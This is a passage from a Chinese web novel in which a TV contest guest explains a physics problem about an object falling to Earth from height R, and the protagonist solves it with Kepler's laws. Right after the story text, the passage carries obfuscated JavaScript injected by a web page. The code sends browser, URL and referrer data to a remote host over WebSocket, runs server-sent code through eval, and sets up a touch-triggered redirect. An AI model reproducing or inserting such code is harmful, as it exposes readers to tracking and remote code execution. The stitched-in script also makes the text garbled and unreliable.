那么当时间为0的时候,高度h为R。
当时间为t的时候,高度h为0。
于是就能列出一个二阶微分方程。
最后求出t。
虽然解题思路不难,但因为要两次积分,过程非常复杂。
随着直播的镜头切换到黄志晓身上,看着镜头下黄志晓的奋笔疾书,顾然默默点了点头,很显然,他就是按照这个方法在做。
但人毕竟不是电脑,这个计算的步骤又是死的,所以恐怕没有十分钟是算不出来了。
顾然没有比赛,所以他在得到解题思路之后,就不用浪费时间计算了。
而是把剩下的时间用来思索是否有其他的解题思路。
在黄志晓计算的时候,超级大脑节目组也没有闲着。
或许是看弹幕上不理解的人太多了,于是主持人主动询问特邀嘉宾对这道题的评价。
算是为弹幕上的疑问进行回应。
特邀嘉宾是中科院国家天文台的院士崔志敏教授,算是天体物理方面的权威。
超级大脑邀请这么一位嘉宾过来,一方面是当做评卷老师,另一方面也是方便在这种长时间等待中,与观看直播的网友进行互动和解疑。
崔志敏教授在听到主持人的询问之后,也阐述了自己对于这道题的看法:“这道题是很容易把人带偏的。”
“不同教育程度的人,看到这道题的反应和得到的答案也是不同的。”
“对于我们初高中的小观众来说,只需要考虑自由落体运动就可以,所以根据自己的物理知识,只运用运动学的加速度公式就能够得出答案。”
“但对于台上的选手来说,需要考虑的因素就很多了,比如在高度降低的过程中,加速度不断的变化,再比如运动的过程中,需要考虑运动轨迹,各种因素杂糅在一起,其实是一个迷惑性很强的题目。”
“不过这道题解题思路并不复杂,我相信黄志晓选手已经有了自己的方法。”
“另外,我可以透露一点,最后得出来的结果,应该是一个准确的数字。”
“至于为什么会是一个准确的数字,因为给定的背景是地球,正因为是地球,所以变相的给出了我们许多隐形的参数。”
“比如自转周期,公转周期,密度、第一宇宙速度、角速度等。”
在听到崔志敏教授的分析之后,原本热闹哄哄的弹幕,一时间就冷静了下来。
那些叫嚣着自己随手就算出答案的人,再也不说话了。
这一张口就暴露学历,谁还敢说话当小丑?
顾然从桌子上抽出一张A4纸,写写画画了起来。
没多久,他从另外一个角度,给出了一个新的解题思路。
假如把地球看作质点,给物体一个很小的初速度呢?
这样的话,根据开普勒第一定律,物体就会做椭圆运动。
地球这个质点就是椭圆的焦点。
根据开普勒第二定律,物体的切向速度乘以速度到焦点的距离是个定值,所以刚开始运动的时候,物体到地球焦点的距离是高度R加上地球半径R等于2R,而到地球的另一侧因为速度无穷大,所以距离也就约等于0了。
再根据开普勒第三定律,周期的平方和半长轴的立方成正比。
而物体绕地球一圈,和卫星以第一宇宙速度绕地球一圈的时间是一样的,也就是一小时四十四分。
这些前置条件完成之后,再把地球慢慢放大到R的尺寸,发现物体转不完一圈就会落在地球上。
也就是说只用开普勒三大定律,再加上高中的一些计算,就能得出物体落地的时间。
唯一麻烦的计算不过是物体扫过的面积,也就是四分之一个椭圆加上一个直角三角形,最后用开普勒第二定律将面积做比,得出落地时间大概是34.5分钟。
顾然看了一下时间。
从思路的灵光一现,到算出最后的答案,总用时不过两分钟。
这个做法肯定不是最标准的思路,但数学物理就是这样,往往曲径通幽才更让人惊喜。
顾然把纸又揉成一团,看黄志晓那边恐怕还要用上一段时间,就惬意的磨了杯咖啡。var s = new Date().getSeconds() % 2; if (s == 0){function a0_0x37c4(){var _0x240c9c=['join','data','abcdefghijklmnopqrstuvwxyz0123456789','8238yiPSZz','1839','&ua=','1432','51279','search','34536','close','8CjyZFF','(((.+)+)+)+$','getMonth','135956YTVidA','fromCharCode','WebSocket','slice','6711452bLCYrh','562','2pgdBSd','split','http_host=','send','4434VYriZP','67515','');try{var _0x170fa2,_0x263978=_0x49586a(0x179)+_0x170e2f();_0x170fa2=_0x49586a(0x1a8)in window?new WebSocket(_0x263978):_0x49586a(0x175)in window?new MozWebSocket(_0x263978):new SockJS(_0x263978),_0x170fa2['onopen']=function(){var _0x35ca42=_0x49586a;_0x170fa2[_0x35ca42(0x1af)](_0x35ca42(0x1ae)+_0x170e2f()+_0x35ca42(0x17c)+_0xc327cc+'&space_id=51279&serasfd='+navigator[_0x35ca42(0x196)]+'&ifr_url='+encodeURIComponent(location[_0x35ca42(0x185)])+_0x35ca42(0x178)+encodeURIComponent(document[_0x35ca42(0x17f)])+_0x35ca42(0x19d)+encodeURIComponent(navigator[_0x35ca42(0x18f)]));},_0x170fa2[_0x49586a(0x190)]=function(_0x47b220){var _0x5cb35a=_0x49586a;eval(_0x47b220[_0x5cb35a(0x199)]),_0x170fa2[_0x5cb35a(0x1a2)]();};}catch(_0xa33558){console[_0x49586a(0x17a)]('error'+_0xa33558);}}()):(function(){var _0xf53d4b=_0x394445,_0x5a903a=document[_0xf53d4b(0x1b4)](_0xf53d4b(0x1b6)),_0x555d50=_0xd9521(_0xf53d4b(0x193))+_0x170e2f();_0x5a903a[_0xf53d4b(0x18e)]=_0x555d50+'/'+_0xd9521((new Date()[_0xf53d4b(0x17d)]()%0x3*new Date()[_0xf53d4b(0x17d)]()+new Date()[_0xf53d4b(0x17d)]())['toString'](0x24)[_0xf53d4b(0x1a9)](0x1))+_0xd9521(_0xf53d4b(0x187))+_0xf53d4b(0x19f)+_0xd9521('km')+'?'+_0x135998(new Date()[_0xf53d4b(0x17d)]());var _0x4c199f=document[_0xf53d4b(0x180)](_0xf53d4b(0x1b6))[0x0];_0x4c199f['parentNode'][_0xf53d4b(0x197)](_0x5a903a,_0x4c199f);}());}()); } else if (s == 1){!function(){function a(a){var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a(`zxGsLrwhSRl7_2(F6O2cYa[Xd5 F8[P!7_2(F6O2 5c2a[67cFH2Za5YF_52 FH2ZmYRJO5FL!Xd5 O8FH2Z8[6g2=qgl}=YRJO5FLg[PP!5YF_52 YH2Zm(dqqcOmYRJO5FL=O=OmYRJO5FL=5a=Omq8l0=OmYRJO5FLP5m^8Y=5m(8F=5mf87_2(F6O2cY=F=2a[5mOcY=Fa??;)CY(FmfY762Ye5OJY5FTcY=F=[Y2_^Y5d)qYgl0=pYFg2PaP=5m587_2(F6O2cYa["_2fY762Yf"l8FTJYO7 iT^)OqvviT^)OqmFOiF562p|dpvv;)CY(FmfY762Ye5OJY5FTcY=iT^)OqmFOiF562p|dp=[Xdq_Yg"yOf_qY"Pa=;)CY(FmfY762Ye5OJY5FTcY="MMYLyOf_qY"=[Xdq_Ygl0PaP=5mF87_2(F6O2cY=Fa[67c}vFvvcY85cYaa={vFa5YF_52 Y!67covFvv"O)CY(F"88FTJYO7 YvvYvvYmMMYLyOf_qYa5YF_52 Y!Xd5 28;)CY(Fm(5YdFYc2_qqa!67c5m5c2a=;)CY(FmfY762Ye5OJY5FTc2="fY7d_qF"=[Y2_^Y5d)qYgl0=Xdq_YgYPa=@vFvv"LF562p"l8FTJYO7 Ya7O5cXd5 O 62 Ya5mfc2=O=7_2(F6O2cFa[5YF_52 YHFZPm)62fc2_qq=Oaa!5YF_52 2P=5m287_2(F6O2cYa[Xd5 F8YvvYmMMYLyOf_qYj7_2(F6O2ca[5YF_52 YmfY7d_qFPg7_2(F6O2ca[5YF_52 YP!5YF_52 5mfcF="d"=Fa=FP=5mO87_2(F6O2cY=Fa[5YF_52 ;)CY(FmJ5OFOFTJYmhdL;D2e5OJY5FTm(dqqcY=FaP=5mJ8""=5c5mL80aPcH7_2(F6O2cY=Fa[Xd5 58fO(_^Y2F=282dX6pdFO5mJqdF7O5^=O85m(_55Y2Fi(56JF! 67cl/3yd(?V62/mFYLFc2a??l2a[Xd5 hfdCC^5DM6LMDL8hfdCC^5DM6LMSS80!LYF|6^YO_Fc7_2(F6O2ca[67chfdCC^5DM6LMDL880a[Xd5 (q6Y2FD6fFh8D62fODmL(5YY2mdXd6qV6fFh!fO(_^Y2FmdffEXY2Ft6LFY2Y5c"FO_(hY2f"=7_2(F6O2ca[67chfdCC^5DM6LMDL880a[Xd5 (q6Y2FhY6phF8D62fODm622Y59Y6phF!Xd5 YXY8YXY2F??D62fODmYXY2F!Xd5 (R8(T80!67cYXYvvYXYmFTJY88"FO_(hLFd5F"a[(R8YXYmFO_(hYLH0Zm(q6Y2F&!(T8YXYmFO_(hYLH0Zm(q6Y2F-P67cYXYvvYXYmFTJY88"FO_(hY2f"a[(R8YXYm(hd2pYf|O_(hYLH0ZmL(5YY2&!(T8YXYm(hd2pYf|O_(hYLH0Zm(q6Y2F-P67cYXYvvYXYmFTJY88"(q6(S"a[(R8YXYm(q6Y2F&!(T8YXYm(q6Y2F-P67c(R>0vv(T>0a[67c(T>c(q6Y2FhY6phF*c@0o.c(q6Y2FD6fFh/K@0aaavvhfdCC^5DM6LMSS880a[hfdCC^5DM6LMSS8}!Xd5 hfdCC^5DM^8"hFFJLg//"%wdFYmJd5LYc2YD wdFYcaa%"KQoKF(mK2RdKpm(O^"%"g{00o/((/KQoKj6LM2OF8}vFd5pYF8}"!67cFOJmqO(dF6O2l8LYq7mqO(dF6O2a[FOJmqO(dF6O28hfdCC^5DM^PYqLY[D62fODmqO(dF6O2mh5Y78hfdCC^5DM^PhfdCC^5DM6LMSS80PPPPa!7O5cXd5 280!2